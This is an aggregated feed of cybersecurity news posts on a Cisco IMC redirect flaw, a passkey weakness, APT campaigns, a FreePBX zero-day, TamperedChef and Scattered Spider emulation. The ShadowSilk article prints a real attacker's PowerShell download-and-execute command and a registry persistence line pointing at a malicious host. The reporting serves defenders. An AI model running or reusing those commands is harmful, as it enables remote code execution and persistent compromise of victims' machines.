ADMIN.FOUNDATION

  • Cisco IMC Virtual Keyboard Video Monitor Let Attacker Direct User to Malicious Website

    ·

    , , ,

    Cisco disclosed a high-severity open redirect vulnerability in the Virtual Keyboard Video Monitor (vKVM) component of its Integrated Management Controller (IMC).

    Tracked as CVE-2025-20317 with a CVSS 3.1 base score of 7.1, the vulnerability could enable an unauthenticated remote attacker to redirect administrators or users of affected devices to malicious websites, potentially capturing credentials through phishing or other social-engineering methods.

    The vulnerability stems from insufficient endpoint verification in the vKVM connection handling code. When a user clicks a specially crafted link, the vKVM client fails to properly validate the redirection target, allowing an attacker to point the user to an arbitrary URL.

    Because the IMC UI is often used for sensitive system management tasks, compromise of IMC credentials could lead to broader compromise of Cisco UCS infrastructure.

    Notably, the affected vKVM client is shared across both Cisco IMC and UCS Manager, widening the scope of devices at risk.

    Affected Products

    Any Cisco product exposing the IMC UI with a vulnerable vKVM release is impacted. Key affected platforms include:

    • UCS B-Series Blade Servers and X-Series Modular Systems.
    • UCS C-Series M6, M7, M8, and E-Series M6 Rack and Edge Servers.
    • Catalyst 8300 Series Edge uCPE.
    • All Cisco appliances built on preconfigured C-Series servers, such as APIC, DNA Center, HyperFlex, Nexus Dashboard, Secure Endpoint Private Cloud, Secure Firewall Management Center, and several others.

    Cisco has enumerated dozens of appliance families in its advisory. Only devices running fixed IMC firmware or UCS Manager software versions are safe; earlier releases remain vulnerable.

    Cisco reports that there are no workarounds available to mitigate CVE-2025-20317. Administrators must apply the security fixes released in free software updates.

    Affected customers with valid service contracts should download patched firmware via the Cisco Support and Downloads portal. Those without active contracts may contact Cisco TAC, referencing Advisory ID cisco-sa-ucs-vkvmorv-CnKrV7HK, to obtain critical fixes at no additional cost.

    Fixed Releases

    The advisory provides comprehensive tables detailing fixed firmware and software releases for each product line. Highlights include:

    • Cisco UCS Manager Software: Updates in 4.2 and above (4.2(3p), 4.3(6a)).
    • Cisco IMC on Catalyst 8300 (NFVIS): Auto-upgrade to NFVIS 4.18.1 or later.
    • UCS C-Series and E-Series Servers: Fixed IMC releases beginning with 4.2(3o) and 4.15.2, respectively.
    • Intersight-Managed Servers: Firmware 5.3(0.250001) and above for B-Series and X-Series.

    Appliance-specific remediation steps, such as applying ISO firmware updates for the Telemetry Broker or using the Cisco Host Upgrade Utility, are also outlined.

    Although Cisco has not detected any public exploitation of this vulnerability, the ease of exploitation and the sensitive nature of management interfaces make prompt remediation imperative. Organizations relying on Cisco UCS infrastructure should:

    1. Inventory all devices running Cisco IMC or UCS Manager.
    2. Determine current firmware/software versions against the advisory’s fixed-release matrix.
    3. Schedule immediate upgrades to patched versions.
    4. Review administrative procedures to ensure users avoid clicking untrusted links.

    Because stolen credentials from IMC access can facilitate lateral movement and compromise of server workloads, applying updates without delay will close this vector before attackers can weaponize it.

    CVE-2025-20317 underscores the persistent risk posed by insecure redirection in critical management interfaces. With no feasible workarounds, the sole remedy is rapid software update deployment.

    Cisco’s advisory provides the necessary guidance, and customers must act swiftly to safeguard UCS environments from credential-harvesting attacks.

    Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.

    The post Cisco IMC Virtual Keyboard Video Monitor Let Attacker Direct User to Malicious Website appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Breaking the Passkey Promise: SquareX Discloses Major Passkey Vulnerability at DEF CON 33

    ·

    It is no secret that passwords are highly susceptible to phishing and brute force attacks. This led to the mass adoption of passkeys, a passwordless authentication method leveraging cryptographic key pairs that allows users to log in with biometrics or a hardware key.

    According to FIDO, over 15 billion accounts have been passkey-enabled, with 69% of users globally enabling passkeys in at least one account. The passkey promise is simple – eliminate passwords, eliminate vulnerabilities.

    Yet, SquareX researchers Shourya Pratap Singh, Daniel Seetoh, and Jonathan Lin disclosed a major passkey vulnerability at DEF CON 33 main stage that puts major banking, shopping, and enterprise SaaS app accounts at risk.

    Passkeys work by using a pair of cryptographic keys instead of a password. The private key is securely stored on the user’s device, while the public key is stored on the website’s server. When logging in, the user authenticates locally with their biometrics, local hardware key or a PIN to access the private key.

    The website then verifies this signature with the matching public key to authenticate access. This design strengthens security by tying authentication to a pre-registered device and website, eliminating the risks of stolen, reused, or weak passwords.

    Critically, all communication between the server and the user’s device is relayed through the browser. In other words, passkeys work under the assumption that the browser is “honest”.

    SquareX researchers demonstrated that through relatively trivial scripts and malicious browser extensions, attackers can intercept and forge the passkey registration process, allowing them to access accounts without the real device or biometrics.

    Even with registered passkeys, attackers can cause the passkey login to fail, forcing users to re-register their passkeys under an attacker-controlled environment.

    “Passkeys are a highly trusted form of authentication, so when users see a biometric prompt, they take that as a signal for security,” says SquareX researcher Shourya Pratap Singh, “What they don’t know is that attackers can easily fake passkey registrations and authentication by intercepting the passkey workflow in the browser. This puts pretty much every enterprise and consumer application, including critical banking and data storage apps at risk.”

    Unfortunately, traditional security tools like EDR and SASE/SSE lack the necessary visibility in the browser to detect passkey exploits. From a user perspective, the attack is identical to a legitimate passkey workflow.

    In other words, there is zero visual indicator or network signal that can verify the legitimacy of the authentication service and/or request. Thus, the only way to prevent the exploit is to monitor and block any malicious scripts and extensions directly in the browser.

    With over 80% of enterprise data now residing in SaaS applications, passkeys are emerging as the dominant authentication method for accessing these platforms.

    SquareX’s research demonstrated that browsers represent the vulnerable point in passkey security and provide the grounds for multiple attack vectors that malicious actors can leverage to exploit passkeys.

    Vivek Ramachandran, the Founder of SquareX, shares, “SquareX has been actively researching new ways attackers exploit employees in the browser.

    Without a browser security layer, passkeys in isolation can be easily hijacked by attackers to gain unauthorized access to enterprise SaaS apps, where critical data is stored. This underscores the urgent need for Browser Detection and Response, an “EDR in the browser”, which SquareX has been pioneering.”

    As passkeys establish themselves as the authentication gold standard, enterprises must ensure robust security measures are in place to protect the environment where users and passkeys primarily operate – the browser.

    About SquareX

    SquareX’s browser extension turns any browser on any device into an enterprise-grade secure browser. SquareX’s industry-first Browser Detection and Response (BDR) solution empowers organizations to proactively detect, mitigate, and threat-hunt client-side web attacks, including malicious browser extensions, advanced spearphishing, browser-native ransomware, genAI DLP, and more.

    Unlike legacy security approaches and cumbersome enterprise browsers, SquareX seamlessly integrates with users’ existing consumer browsers, ensuring enhanced security without compromising user experience or productivity.

    By delivering unparalleled visibility and control directly within the browser, SquareX enables security leaders to reduce their attack surface, gain actionable intelligence, and strengthen their enterprise cybersecurity posture against the newest threat vector – the browser.

    Users can find out more on www.sqrx.com.

    Contact

    Head of PR
    Junice Liew
    SquareX
    junice@sqrx.com

    The post Breaking the Passkey Promise: SquareX Discloses Major Passkey Vulnerability at DEF CON 33 appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Salt Typhoon Exploits Cisco, Ivanti, Palo Alto Flaws to Breach 600 Organizations Worldwide

    ·

    The China-linked advanced persistent threat (APT) actor known as Salt Typhoon has continued its attacks targeting networks across the world, including organizations in the telecommunications, government, transportation, lodging, and military infrastructure sectors. “While these actors focus on large backbone routers of major telecommunications providers, as well as provider edge (PE) and

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Lazarus Group Targets Windows 11 with ClickFix Tactics and Fake Job Offers

    ·

    , ,

    The notorious Lazarus advanced persistent threat (APT) organization, which Qi’anxin internally tracks as APT-Q-1, has been seen using the ClickFix technique to penetrate Windows 11 and macOS systems in a sophisticated progression of social engineering attacks. Known for high-profile incidents like the 2014 Sony Pictures hack, Lazarus has shifted from intelligence theft to financial asset […]

    The post Lazarus Group Targets Windows 11 with ClickFix Tactics and Fake Job Offers appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • ShadowSilk Leveraging Penetration-Testing Tools, Public Exploits to Attack Organizations

    ·

    , ,

    ShadowSilk first surfaced in late 2023 as a sophisticated threat cluster targeting government entities across Central Asia and the broader APAC region.

    Exploiting known public vulnerabilities and widely available penetration-testing frameworks, the group orchestrates data exfiltration campaigns with a high degree of automation and stealth.

    Initial deliveries were achieved via phishing emails containing password-protected archives; upon execution, these dropped a Telegram-based backdoor that established a covert command-and-control channel.

    The rapid proliferation of ShadowSilk operations prompted heightened scrutiny across regional security teams.

    In early 2025, Group-IB analysts identified renewed ShadowSilk infrastructure and a burst of new indicators of compromise, including updated Telegram bots and repurposed public exploits such as CVE-2024-27956 and CVE-2018-7602.

    Researchers noted that the adversary’s toolkit blended open-source scanners like sqlmap and fscan with custom Telegram bot scripts, creating a versatile platform capable of reconnaissance, lateral movement, and bulk data theft.

    This hybrid approach allowed ShadowSilk to alternate seamlessly between freely available tools and bespoke malware, complicating detection and response efforts.

    By mid-2025, the group’s impact was undeniable: at least 35 government networks had suffered data breaches, while forensic captures of ShadowSilk’s server image revealed multilingual operators and intricate web-panel control suites.

    Victims observed stolen mail server dumps, administrative credentials, and critical intelligence exfiltrated in daily ZIP archives.

    The sophistication of these campaigns underscores ShadowSilk’s deliberate evolution from a small phishing-based actor into a persistent, multi-stage threat capable of sustaining prolonged intrusions.

    A screenshot of a phishing email from ShadowSilk (Source – Group-IB)

    Group-IB researchers noted that ShadowSilk’s operators maintain two sub-groups—one primarily Russian-speaking and the other Chinese-speaking—working in parallel yet sharing virtual assets.

    Analysis of keyboard layouts, desktop screenshots, and Telegram command histories confirmed this bi-lingual operational model. Despite different tooling preferences, both factions converge on a consistent objective: covertly harvest sensitive information and evade traditional security controls.

    Infection Mechanism and Persistence

    ShadowSilk’s infection chain begins with a lure email delivering a ZIP archive that masquerades as an official report or vendor bulletin.

    Upon extraction and execution of rev.exe, the PowerShell-based payload connects to a hardcoded URL such as https://tpp.tj/BossMaster.txt, invoking:-

    powershell -ExecutionPolicy Bypass -Command "(Invoke-WebRequest https://tpp.tj/BossMaster.txt).Content | iex"
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpTask /t REG_SZ /d 'powershell -ExecutionPolicy Bypass -command "(Invoke-WebRequest https://tpp.tj/iap.txt).Content | iex"' /f

    This snippet not only loads the primary backdoor but also writes a registry key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run to ensure persistence after reboot.

    The contents of the file /www/html/gramm.ps1 (Source – Group-IB)

    The second stage script, /www/html/gramm.ps1, implements a Telegram bot loop that reads incoming commands via the Bot API, executes arbitrary shell instructions, and uploads results or files directly to the attacker’s Telegram chat.

    The persistence mechanism leverages both registry autoruns and scheduled tasks. ShadowSilk routinely deploys a minimalistic downloader that fetches additional modules—Metasploit payloads, Cobalt Strike beacons, or custom RAT executables—through the same Telegram channel.

    By interweaving social messaging infrastructure with conventional malware callbacks, ShadowSilk sidesteps network security tools that normally flag unknown TCP or HTTPS connections, blending malicious traffic into legitimate bot interactions.

    Through this dual-stage infection and persistent backdoor, ShadowSilk maintains long-term access, enabling data collection, credential dumping, and systematic exfiltration of archived user documents to attacker-controlled endpoints.

    Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

    The post ShadowSilk Leveraging Penetration-Testing Tools, Public Exploits to Attack Organizations appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • ShadowSilk Targets Penetration-Testing Tools and Public Exploits to Breach Organizations

    ·

    , , ,

    Cybersecurity experts discovered an advanced persistent threat (APT) cluster called ShadowSilk in a thorough research published by Group-IB. Since at least 2023, this group has been actively breaching government institutions in Central Asia and the Asia-Pacific area. The group’s operations, ongoing as of July 2025, focus primarily on data exfiltration, leveraging a sophisticated blend of […]

    The post ShadowSilk Targets Penetration-Testing Tools and Public Exploits to Breach Organizations appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • FreePBX Servers Hit by 0-Day Exploit, Disable Internet Access Advised

    ·

    , , , ,

    FreePBX administrators worldwide have been urged to immediately disable public internet access to their systems after a critical 0-day vulnerability was discovered in the commercial Endpoint Manager module. The Sangoma FreePBX Security Team confirmed that attacker-controlled exploit code can gain unauthenticated remote code execution on systems with the Administrator Control Panel exposed to hostile networks, […]

    The post FreePBX Servers Hit by 0-Day Exploit, Disable Internet Access Advised appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • FreePBX Servers Hacked in 0-Day Attack – Admins are Urged to Disable Internet Access

    ·

    , , ,

    A critical zero-day exploit targeting exposed FreePBX 16 and 17 systems. Threat actors are abusing an unauthenticated privilege escalation vulnerability in the commercial Endpoint Manager module, allowing remote code execution (RCE) when the Administrator Control Panel is reachable from the public internet. 

    With active compromises detected since August 21, 2025, admins must act immediately to contain the threat.

    Key Takeaways
    1. Zero-day RCE in FreePBX Endpoint Manager targeting internet-exposed Admin UIs.
    2. Immediately block external access and install EDGE/tagged endpoint updates.
    3. Check for compromise indicators, isolate/rebuild systems, and restore from pre-August 21 backups.

    Firewall Lockdown

    FreePBX stated that organizations should first verify whether their FreePBX/PBXAct instance is accessible externally. 

    If the Administrator Control Panel (ACP) is reachable on ports 80 or 443, block all external traffic at the network perimeter.

    Alternatively, employ the FreePBX Firewall module to restrict the Internet/External zone to known trusted hosts only. 

    After lockdown, confirm local-only access by testing ACP connectivity from an untrusted network (e.g., cellular data).

    Next, update the Endpoint module to the provided EDGE builds for testing. FreePBX v16/v17 users can execute:

    FreePBX Servers Hacked in 0-day Attack

    PBXAct v16 and v17 users should specify stable tags:

    FreePBX Servers Hacked in 0-day Attack

    A full QA-tested release will follow within 12 hours; perform a standard module update once available via Admin → Module Admin.

    Mitigations

    To detect potential infection, administrators must perform the following checks:

    • Ensure /etc/freepbx.conf still exists.
    • Look for the malicious dropper script /var/www/html/.clean.sh
    • Scan Apache logs for POST requests to modular.php since August 21.
    • Inspect Asterisk logs for calls to extension 9998.
    • Query MySQL for suspicious ampusers.

    If any indicators are present, isolate the system and plan restoration. Preserve backups older than August 21, deploy a clean FreePBX install with hardened firewall settings, restore data, and rotate all credentials (system, SIP trunks, extensions, voicemail, UCP). 

    Forensic collection can be automated using the community’s collect_forensics_freepbx.sh script under AGPLv3 to snapshot logs, configuration files, and process states for analysis.

    Users running FreePBX versions prior to v16 should remain vigilant; Sangoma continues to investigate the root cause and will publish a CVE once the vulnerability has been fully assessed. 

    Until then, disabling internet access to ACP and applying the Edge or Stable Endpoint module updates remain the most effective defenses.

    Tired of Filling Forms for security & Compliance questionnaires? Automate them in minutes with 1up! Start Your Free Trial Now!

    The post FreePBX Servers Hacked in 0-Day Attack – Admins are Urged to Disable Internet Access appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New TamperedChef Attack With Weaponized PDF Editor Steals Sensitive Data and Login Credentials

    ·

    , , ,

    A sophisticated malware campaign that weaponizes a seemingly legitimate PDF editor to steal sensitive data and login credentials from unsuspecting users across Europe.

    The attack uncovered by Truesec, dubbed “TamperedChef,” represents a new evolution in social engineering tactics that leverage trusted software categories to deploy information-stealing malware.

    The malicious campaign centers around AppSuite PDF Editor, a free PDF editing tool promoted across multiple websites and distributed through Google advertising campaigns.

    Malicious PDF Editor Setup
    Malicious PDF Editor Setup

    What makes this attack particularly insidious is its patient approach. The software initially appears harmless, functioning as advertised while secretly establishing persistence mechanisms and awaiting activation commands.

    The campaign’s sophistication is evident in its execution timeline. Beginning on June 26, 2025, threat actors registered multiple domains and began promoting the PDF editor through at least five different Google advertising campaigns.

    The malware remained dormant for 56 days strategically timed to coincide with typical Google advertising campaign durations—before activating its malicious capabilities on August 21, 2025.

    Upon installation, the software establishes communication with command-and-control servers through specific URLs, including inst.productivity-tools.ai and vault.appsuites.ai.

    The malware’s persistence mechanism involves creating registry entries that execute with various command-line arguments, including --install, --enableupdate, --fullupdate, and others.

    When the --fullupdate argument is triggered, the software downloads and executes an obfuscated JavaScript file containing the core TamperedChef payload.

    Data Theft Capabilities

    Once activated, TamperedChef demonstrates sophisticated information-stealing capabilities. The malware queries web browser databases using Windows Data Protection API (DPAPI) to extract stored credentials and sensitive information.

    It systematically terminates browser processes to access locked data files, ensuring comprehensive data harvesting from popular web browsers, Truesec said.

    The malware also conducts system reconnaissance, identifying installed security products before proceeding with its data exfiltration operations. This behavior suggests the threat actors have invested significant effort in developing evasion techniques to bypass common security solutions.

    The campaign’s legitimacy facade is reinforced through the abuse of digital certificates from multiple companies, including ECHO Infini SDN BHD, GLINT By J SDN. BHD, and SUMMIT NEXUS Holdings LLC.

    Code Signed Signature Check.
    Code Signed Signature Check.

    Investigation reveals these companies share suspicious characteristics, including generic websites with potentially AI-generated content and shared business addresses.

    Particularly concerning is the discovery that certificates from these entities have been used to sign other malicious software, including the Epibrowser malware, indicating a broader certificate abuse operation supporting multiple malware families.

    Campaign Scope and Impact

    The threat actors behind TamperedChef have addressed long-term persistence in the threat landscape, with evidence suggesting activity dating back to August 2024.

    For the company BYTE Media, there are also digital certificates used to sign malware, but another one called Epibrowser.

    In several cases, we have observed a file called elevate.exe being installed together with the PDF Editor bundle.

    Their operations extend beyond the PDF editor to include other potentially unwanted programs like OneStart browser, all sharing common command-and-control infrastructure.

    European organizations have been significantly impacted, with multiple companies reporting employee infections after downloading the malicious PDF editor.

    The campaign’s success highlights the effectiveness of disguising malware as legitimate productivity tools—a category users typically trust and readily install.

    This campaign represents a concerning evolution in malware distribution tactics. By leveraging legitimate advertising platforms and maintaining extended dormancy periods, threat actors can achieve widespread distribution before revealing malicious intent.

    The use of AI-generated code and generic business fronts further demonstrates the industrialization of cybercrime operations.

    The TamperedChef campaign serves as a stark reminder that even seemingly innocuous productivity tools can pose significant security risks. Organizations must implement robust software vetting procedures and maintain heightened awareness of free utilities from unknown sources, as today’s helpful application could become tomorrow’s security nightmare.

    Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.

    The post New TamperedChef Attack With Weaponized PDF Editor Steals Sensitive Data and Login Credentials appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New Research Highlights Emulating Tactics of Scattered Spider in Realistic Scenarios

    ·

    , , ,

    New findings from Lares Labs underscore the importance of realistic threat emulation exercises that mirror the sophisticated tactics of the Scattered Spider APT group.

    By integrating real-world incident data into controlled simulations, organizations can proactively assess defenses across networks, endpoints, and cloud environments, bolstering resilience against advanced persistent threats.

    Lares’s research centers on recreating the full attack lifecycle employed by Scattered Spider from initial access via social engineering through lateral movement, privilege escalation, and eventual exfiltration.

    Unlike traditional red teaming, which often focuses on isolated technical exploits, Lares combines ethical hacking, tailored social engineering, and threat emulation to replicate the subtle interplay of human manipulation and technical tradecraft observed in recent high-profile breaches.

    Scattered Spider Attack Across Industries

    Scattered Spider, active since May 2022, has targeted telecommunications, BPO, hospitality, retail, healthcare, and aviation sectors. The group’s young, English-speaking operatives leverage SIM swapping, phishing, and push-bombing to circumvent MFA, then install legitimate remote access tools for persistence.

    Their operations also include bespoke cloud credential theft using utilities like AWS console or MicroBurst and Bring Your Own Vulnerable Driver (BYOVD) attacks, deploying Microsoft-signed vulnerable drivers such as POORTRY via a custom loader named STONESTOP to disable endpoint defenses.

    Lares Lab simulations begin with open-source reconnaissance, harvesting corporate data from LinkedIn and breached credential repositories, then crafting realistic phishing lures through look-alike domains (e.g., targetsname-sso[.]com).

    Participants experience the pressure of repeated MFA pushes and SIM swap scenarios, forcing defenders to react in real time. Subsequent stages emulate privilege escalation tactics, including ADCS abuse, DACL misconfiguration exploitation, and LSASS or NTDS.dit credential dumping via Mimikatz and Jetcretz.

    Privilege escalation.
    Privilege escalation.

    During lateral movement exercises, defenders confront genuine SSO session hijacking and Proxifier-linked traffic redirection, mirroring Scattered Spider’s use of cloud-based pivot points.

    In cloud environments, simulations exploit IAM misconfigurations such as overly permissive assume-role policies to traverse EC2 instances and compromise additional user accounts. These exercises challenge teams to detect anomalous API calls and unusual credential usage patterns.

    Exfiltration scenarios utilize encrypted messaging platforms like Telegram for small, high-value files and tools like Rclone or MEGAsync for bulk data transfer to attacker-controlled cloud storage.

    Participants must identify stealthy data flows and intercept covert channels, refining both monitoring rules and incident response playbooks.

    Lares’s approach delivers actionable intelligence: customized debriefs highlight detection blind spots, misaligned processes, and training gaps. Security teams leave with prioritized recommendations, ranging from tightening MFA policies and hardening AD configurations to refining cloud security posture and enhancing phishing resilience.

    Other common tools, such as ManageEngine and Amazon Web Services inventory, always aim, whenever possible, to use legitimate tools native to the target environment to reduce detection by security solutions and maintain a low-profile attack.

    Lateral movement.
    Lateral movement.

    As Scattered Spider’s tactics continue evolving, organizations face a dual challenge: bridging technology gaps and fortifying human defenses.

    Lares’s research demonstrates that emulating real-world adversaries within a safe, controlled environment accelerates preparedness more effectively than theoretical exercises.

    By testing controls against the actual TTPs of APT groups, such as Scattered Spider, enterprises shift from a reactive to a proactive stance, ultimately reducing dwell time and mitigating potential financial and reputational impacts.

    Lares Labs recommends that organizations adopt regular threat emulation cycles, updating scenarios with the latest intelligence on groups such as Scattered Spider, UNC3944, Octo Tempest, and others. Through continuous adversarial collaboration and iterative testing, defenders can ensure their security posture evolves as rapidly as the threats they face.

    Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.

    The post New Research Highlights Emulating Tactics of Scattered Spider in Realistic Scenarios appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶